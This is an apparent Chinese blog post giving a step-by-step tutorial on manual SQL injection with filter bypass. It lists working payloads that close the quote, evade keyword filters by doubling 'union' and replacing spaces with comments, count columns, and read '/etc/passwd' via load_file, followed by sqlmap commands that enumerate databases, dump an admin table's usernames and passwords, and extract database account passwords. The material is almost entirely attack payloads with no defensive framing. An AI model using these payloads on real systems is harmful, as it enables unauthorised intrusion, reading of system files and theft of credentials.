SQL手工注入绕过过滤
1、考虑闭合:单引号 --> %27 空格-->%20 井号--> %23 ; 构造闭合函数 %27teacher%23
2、判断过滤内容:union --> uniunionon ; 联合查询过滤,再un后再加union ;
3、判断列数,使用Union 语法,union 后边语句要与前边已经执行的语句列数相同。
%27/**/ununionion/**/select/**/1/**/%23 判断是否为1列,返回值为错误,空
%27/**/ununionion/**/select/**/1,2/**/%23 判断是否为2列 返回值为正常,则union之前的查询语句为两列
4、id=-1 让前边的select 语句执行输出无内容,再往后执行union语句,打印相关文件内容。
使用load_file(‘/etc/passwd’)
%27/**/ununionion/**/select/**/1,load_file("/etc/passwd")/**/%23
5、或者使用sqlmap -u "url" --tamper "space2comment.py, space2hash.py"
6、SQLMAP用法:
(1)判断库:当前库在第一行 当前是article
sqlmap.py -u "url" --dbs
(2)判断表名:
sqlmap.py -u "url" --dbs -D article (表名) --tables
(3)判断列名:
sqlmap.py -u "url" --dbs -D article (表名) -T admin --columns
(4)判断值:
sqlmap.py -u "url" --dbs -D article (表名) -T admin -C username, password --dump
(5)判断数据连接用户的密码:sa
sqlmap.py -u "url" --passwords 找到连接密码 用 nvicat连接。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端